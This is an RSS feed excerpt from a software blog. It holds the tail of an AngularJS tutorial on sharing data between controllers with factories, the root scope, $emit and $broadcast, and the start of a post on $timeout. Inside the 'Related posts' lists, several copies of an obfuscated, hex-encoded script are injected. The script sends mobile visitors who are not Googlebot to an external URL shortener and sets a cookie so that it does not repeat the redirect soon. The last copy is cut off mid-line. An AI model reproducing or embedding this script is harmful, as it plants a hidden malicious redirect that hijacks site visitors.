<p>In both controllers, we bind the Holder factory to a scope variable and define a function which can be called from the UI and updates the vale of the shared variable:</p>
<pre><code class="language-markup">&lt;div&gt;
  &lt;h2&gt;First controller&lt;/h2&gt;
  &lt;button&gt;+&lt;/button&gt;{{Holder.value}}
&lt;/div&gt;
&lt;div&gt;
  &lt;h2&gt;Second controller&lt;/h2&gt;
  &lt;button&gt;+&lt;/button&gt;{{Holder.value}}
&lt;/div&gt;</code></pre>
<p>No matter which &#8220;+&#8221; button you press, both values will be incremented (or rather the shared value will be incremented and reflected in both scopes).</p>
<h4>Holding the shared data in the root scope</h4>
<p>Of course, instead of using a factory or a service, you can also directly hold the shared data in the root scope and reference it from any controller. Although this actually works fine, it has a few disadvantages:</p>
<ol>
<li>Whatever is present in the root scope is inherited by all scopes</li>
<li>You need to use some naming conventions to prevent multiple modules or libraries from overwriting each other&#8217;s data</li>
</ol>
<p>In general, it&#8217;s much cleaner to encapsulate the shared data in dedicated factories or services which are injected in the components which require access to this share data than making these data global variables in the root scope.</p>
<h4>Using events to notify other controller about changes to the data</h4>
<p>In case, you do not want to bind both scopes through factory data (e.g. because you only want to propagate changes from one scope to another one on some condition), you can also rely on event notifications between the controllers to sync the data. There are three functions provided by AngularJS to handle events:</p>
<ul>
<li>$emit is used to trigger an event and propagate it to the current scope and recursively to all parent scopes</li>
<li>$broadcast is used to trigger an event and propagate it to the current scope and recursively to all child scopes</li>
<li>$on is used to listen to event notification on the scope</li>
</ul>
<h5>Using $emit</h5>
<p>Since $emit is propagating events up in the scope hierarchy, there are two use cases for it:</p>
<ul>
<li>Propagating events to parent controllers</li>
<li>Efficiently propagating events to unrelated controllers through the root scope</li>
</ul>
<p>In the first scenario, you emit an event on the child controller scope:</p>
<pre><code class="language-javascript">$scope.$emit("namechanged", $scope.name);</code></pre>
<p>And listen to this event on the parent controller scope:</p>
<pre><code class="language-javascript">$scope.$on("namechanged", function(event, name) {
  $scope.name = name;
});</code></pre>
<p>In the second scenario, you emit an event on the root scope:</p>
<pre><code class="language-javascript">$rootScope.$emit("namechanged", $scope.name);</code></pre>
<p>And listen to this event on the root scope as well:</p>
<pre><code class="language-javascript">$rootScope.$on("namechanged", function(event, name) {
  $scope.name = name;
});</code></pre>
<p>In this case there is effectively no further propagation of the event since the root scope has no parent scope. It is thus the preferred way to propagate events to unrelated scopes (and should be preferred to $broadcast in such scenarios).</p>
<p>There is one thing you need to consider when registering to events on the root scope: in order to avoid leaks when controllers are created and destroyed multiple times, you need to unregister the event listeners. A function to unregistered is returned by $emit. You just need to register this function as a handler for the $destroy event in your controller, replacing the code above by:</p>
<pre><code class="language-javascript">var destroyHandler = $rootScope.$on("namechanged", function(event, name) {
  $scope.name = name;
});

$scope.$on('$destroy', destroyHandler);</code></pre>
<h5>Using $broadcast</h5>
<p>Theoretically, you could also use $broadcast to cover two scenarios:</p>
<ul>
<li>Propagating events to child controllers</li>
<li>Propagating events to unrelated controllers through the root scope</li>
</ul>
<p>Effectively, the second use case doesn&#8217;t make much sense since you would basically trigger an event on the root scope and propagate it to all child scopes which is much less efficient than propagating and listening to events on the root scope only.</p>
<p>In the first scenario, you broadcast an event on the parent controller scope:</p>
<pre><code class="language-javascript">$scope.$broadcast("namechanged", $scope.name);</code></pre>
<p>And listen to this event on the child controller scope:</p>
<pre><code class="language-javascript">$scope.$on("namechanged", function(event, name) {
  $scope.name = name;
});
</code></pre>
<h5>Similarities and differences between $emit and $broadcast</h5>
<p>Both $emit and $broadcast dispatch an event through the scope hierarchy notifying the registered listeners. In both cases, the event life cycle starts at the scope on which the function was called. Both functions will pass all exceptions thrown by the listeners to $exceptionHandler.<br />
An obvious difference is that $emit propagates upwards and $broadcast downwards (in the scope hierarchy). Another difference is that when you use $emit, the event will stop propagating if one of the listeners cancels it while the event cannot be canceled when propagated with $broadcast.</p>
<h3>Demo</h3>
<p>You can see the code from this post in action on plunker:</p>
<p><iframe loading="lazy" style="width: 100%; height: 600px;" src="//embed.plnkr.co/QKQ3Nw" width="300" height="150" frameborder="0"></iframe></p>
<div class="container_share">
         <a href="http://www.facebook.com/sharer.php?u=https://benohead.com/blog/2016/07/18/angularjs-sharing-data-controllers/&amp;t=AngularJS: Sharing data between controllers" target="_blank" class="button_purab_share facebook"><span><i class="icon-facebook"></i></span></p>
<p>Facebook</p>
<p></a><br />
          <a href="http://twitter.com/share?url=https://benohead.com/blog/2016/07/18/angularjs-sharing-data-controllers/&amp;text=AngularJS: Sharing data between controllers" target="_blank" class="button_purab_share twitter"><span><i class="icon-twitter"></i></span></p>
<p>Twitter</p>
<p></a><br />
          <a href="https://plus.google.com/share?url=https://benohead.com/blog/2016/07/18/angularjs-sharing-data-controllers/" target="_blank" class="button_purab_share google-plus"><span><i class="icon-google-plus"></i></span></p>
<p>Google +</p>
<p></a><br />
          <a href="http://www.linkedin.com/shareArticle?mini=true&url=https://benohead.com/blog/2016/07/18/angularjs-sharing-data-controllers/&amp;title=AngularJS: Sharing data between controllers" target="_blank" class="button_purab_share linkedin"><span><i class="icon-linkedin"></i></span></p>
<p>Linkedin</p>
<p></a>
        </div>
<p>The post <a rel="nofollow" href="https://benohead.com/blog/2016/07/18/angularjs-sharing-data-controllers/">AngularJS: Sharing data between controllers</a> appeared first on <a rel="nofollow" href="https://benohead.com">Benohead&#039;s Software Blog</a>.</p>
<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-list'>
<!-- YARPP List -->
<p>Related posts:</p><ol><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>
<li><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script><a href="https://benohead.com/blog/2015/04/21/angularjs-binding-html-code-with-ng-bind-html-and-sce-trustashtml/" rel="bookmark" title="AngularJS: binding HTML code with ng-bind-html and $sce.trustAsHtml">AngularJS: binding HTML code with ng-bind-html and $sce.trustAsHtml </a></li>
<li><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script><a href="https://benohead.com/blog/2015/06/09/angularjs-stopping-event-propagation-on-ng-click/" rel="bookmark" title="AngularJS: Stopping event propagation on ng-click">AngularJS: Stopping event propagation on ng-click </a></li>
<li><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script><a href="https://benohead.com/blog/2015/05/21/angularjs-running-a-directive-after-data-has-been-fetched/" rel="bookmark" title="AngularJS: Running a directive after data has been fetched">AngularJS: Running a directive after data has been fetched </a></li>
</ol>
</div>
]]></content:encoded>
					
					<wfw:commentRss>https://benohead.com/blog/2016/07/18/angularjs-sharing-data-controllers/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>When to use $timeout</title>
		<link>https://benohead.com/blog/2016/06/13/when-to-use-timeout/</link>
					<comments>https://benohead.com/blog/2016/06/13/when-to-use-timeout/#respond</comments>
		
		<dc:creator><![CDATA[hb]]></dc:creator>
		<pubDate>Mon, 13 Jun 2016 12:25:12 +0000</pubDate>
				<category><![CDATA[AngularJS]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Programming]]></category>
		<guid isPermaLink="false">https://benohead.com/?p=9012</guid>

					<description><![CDATA[<p>$timeout is the angular equivalent to settimeout in JavaScript. It is basically a wrapper aroung window.settimeout. So the basic functionality provided by $timeout is to have a piece of code executed asynchronously. As JavaScript doesn&#8217;t support thread spawning, asynchronously here means that the execution of the function is delayed. Differences to settimeout There are basically 2 [&#8230;]</p>
<p>The post <a rel="nofollow" href="https://benohead.com/blog/2016/06/13/when-to-use-timeout/">When to use $timeout</a> appeared first on <a rel="nofollow" href="https://benohead.com">Benohead&#039;s Software Blog</a>.</p>
<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-list'>
<!-- YARPP List -->

Related posts:<ol><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v 